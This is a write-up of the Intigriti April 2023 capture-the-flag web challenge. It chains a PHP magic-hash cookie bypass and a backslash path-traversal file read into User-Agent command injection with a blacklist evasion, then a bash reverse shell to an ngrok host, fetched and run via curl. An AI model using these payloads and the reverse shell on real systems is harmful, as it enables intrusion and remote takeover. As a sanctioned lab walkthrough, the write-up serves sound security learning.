Intigriti April 2023 Challenge Walkthrough

Intigriti April 2023 Challenge Walkthrough
"I'll sell you a brick"

Start by loading the web app from https://challenge-0423.intigriti.io/

Some fuzzing shows us some interesting files which will be useful later.  Of course flag.txt is not readable yet!

$ ffuf -u https://challenge-0423.intigriti.io/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .txt,.php -fc 404
...
dashboard.php
flag.txt
index.php
login.php

After entering the credentials, we see we are redirected to dashboard.php with two cookies set:

GET /dashboard.php HTTP/2
Host: challenge-0423.intigriti.io
Cookie: username=strange; account_type=dqwe13fdsfq2gys388

Manipulating the cookie name for account_type by changing it to account_type[] (which tells PHP to treat it as an array type) displays an interesting error message:

We can see we're in the middle of a call to md5() with the string to hash being the value of the account_type cookie.   Also, importantly we notice the code file is at /app/dashboard.php on the filesystem.

Backing up a bit...  When entering invalid credentials into the login form, the app redirects us to https://challenge-0423.intigriti.io/index_error.php?error=invalid username or password and in the HTML we see a developer's comment: "remember to use strict comparison".

One common abuse of PHP's "loose typing" is to compare an md5 hash that starts with 0e#####... to an integer 0 or string "0" in PHP.  These hashes are also known as "magic" hashes (https://github.com/spaze/hashes/blob/master/md5.md).

For example, this code snippet shows how PHP compares 0 with "0e0" when using == (but not ===):

$ php -a
Interactive shell

php > var_dump("0" == 0);
bool(true)
php > var_dump("0e0" == 0);
bool(true)
php > var_dump("0e0" === 0);
bool(false)
php > var_dump(md5("240610708") == 0);
bool(true)

Given this hint, and the array error in the md5() function, we have the idea to try one of the magic hash inputs as the value of the account_type cookie:

GET /dashboard.php HTTP/2
Host: challenge-0423.intigriti.io
Cookie: username=strange; account_type=240610708

After sending this request, we see a new product displayed:

In the HTML we see a reference to a new page: custom_image.php

Loading https://challenge-0423.intigriti.io/custom_image.php we see the same img tag being returned with the brick wall image.

Fuzzing for URL parameters discovers a file parameter, which returns an error "Permission denied!":

$ ffuf -u https://challenge-0423.intigriti.io/custom_image.php\?FUZZ\=FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 0,294753 -fc 400
...
[Status: 200, Size: 19, Words: 2, Lines: 2, Duration: 137ms]
    * FUZZ: file

Having noticed that some images are located at /www/web/images/iphone14.jpg we confirm a legitimate parameter value: https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images/iphone14.jpg

Fuzzing a bit we find that ../ is being filtered out, but ..\ works.  We confirm an  arbitrary file read vulnerability, which I'll just refer to as a local file include (LFI), and we can read the contents of /etc/passwd using custom_image.php?file=www/web/images/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%5cpasswd and after decoding the base64 in the response:

Using the LFI to read /app/flag.txt sends us to another path:

Hey Mario, the flag is in another path! Try to check here:

/e7f717ed-d429-4d00-861d-4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7/admin.php

Reviewing the PHP code using our LFI, we see that admin.php expects a cookie named username with a value of admin and we also see a likely RCE vulnerability with some blacklist filtering being performed on the User Agent header's value:

<?php
if(isset($_COOKIE["username"])) {
  $a = $_COOKIE["username"];
  if($a !== 'admin'){
    header('Location: /index_error.php?error=invalid username or password');    
  }
}
if(!isset($_COOKIE["username"])){
  header('Location: /index_error.php?error=invalid username or password');
}
?>
<?php
$user_agent = $_SERVER['HTTP_USER_AGENT'];

#filtering user agent
$blacklist = array( "tail", "nc", "pwd", "less", "ncat", "ls", "netcat", "cat", "curl", "whoami", "echo", "~", "+",
 " ", ",", ";", "&", "|", "'", "%", "@", "<", ">", "\\", "^", "\"",
"=");
$user_agent = str_replace($blacklist, "", $user_agent);

shell_exec("echo \"" . $user_agent . "\" >> logUserAgent");
?>

The most obvious shell characters not being filtered out are backticks `and dollar sign $ and parentheses ().  Although space " " is being blocked, another "whitespace" character "\x09" (i.e. tab) is not being blocked.

Copying the PHP code locally and experimenting with blacklist bypasses, we find how to run the sleep command and prove RCE is happening:

$ curl -i -s -k -X $'GET' -H $'Host: challenge-0423.intigriti.io' -H $'User-Agent: `sleep\x0910`' -b $'username=admin' $'https://challenge-0423.intigriti.io/e7f717ed-d429-4d00-861d-4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7/admin.php'b
RCE PoC

Reverse Shell

After further testing we find that the following commands can be used to download a bash reverse shell and execute it (assuming you have hosted it on your own public web server):

$ cat <<'eof' > /var/www/html/shell.sh
#!/bin/bash
bash -c 'bash -i >&/dev/tcp/4.tcp.ngrok.io/16044 0<&1'
eof

$ curl -i -s -k -X $'GET' -H $'Host: challenge-0423.intigriti.io' -H $'User-Agent: `cucurlrl\x09https://b382538cb64d.ngrok.app/shell.sh\x09-o\x09/tmp/k1ngpr4wn.sh`' -b $'username=admin' $'https://challenge-0423.intigriti.io/e7f717ed-d429-4d00-861d-4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7/admin.php'

$ curl -i -s -k -X $'GET' -H $'Host: challenge-0423.intigriti.io' -H $'User-Agent: `sh\x09/tmp/k1ngpr4wn.sh`' -b $'username=admin' $'https://challenge-0423.intigriti.io/e7f717ed-d429-4d00-861d-4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7/admin.php'

After receiving the reverse shell connection, we find the flag INTIGRITI{n0_XSS_7h15_m0n7h_p33pz_xD}:

$ nc -nvlp 443
listening on [any] 443 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 60504
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
<4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7$ ls -al
ls -al
total 24
drwxr-xr-x 2 root root 4096 Apr 27 09:24 .
drwxr-xr-x 3 root root 4096 Apr 27 09:24 ..
-rw-r--r-- 1 root root 2537 Apr 27 09:24 admin.php
-rw-r--r-- 1 root root   37 Apr 27 09:24 d5418803-972b-45a9-8ac0-07842dc2b607.txt
-rw-r--r-- 1 root root   68 Apr 27 09:24 log
-rw-r--r-- 1 root root    0 Apr 27 09:24 logUserAgent
-rw-r--r-- 1 root root   76 Apr 27 09:24 log_page.php
<4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7$ cat d5418803-972b-45a9-8ac0-07842dc2b607.txt
<15ff7$ cat d5418803-972b-45a9-8ac0-07842dc2b607.txt
INTIGRITI{n0_XSS_7h15_m0n7h_p33pz_xD}

Lessons Learned

I struggled finding the first step of the challenge for a couple of days, but after a quick nudge from someone on Discord, I will never again forget to test all PHP parameters (including cookies) as array types!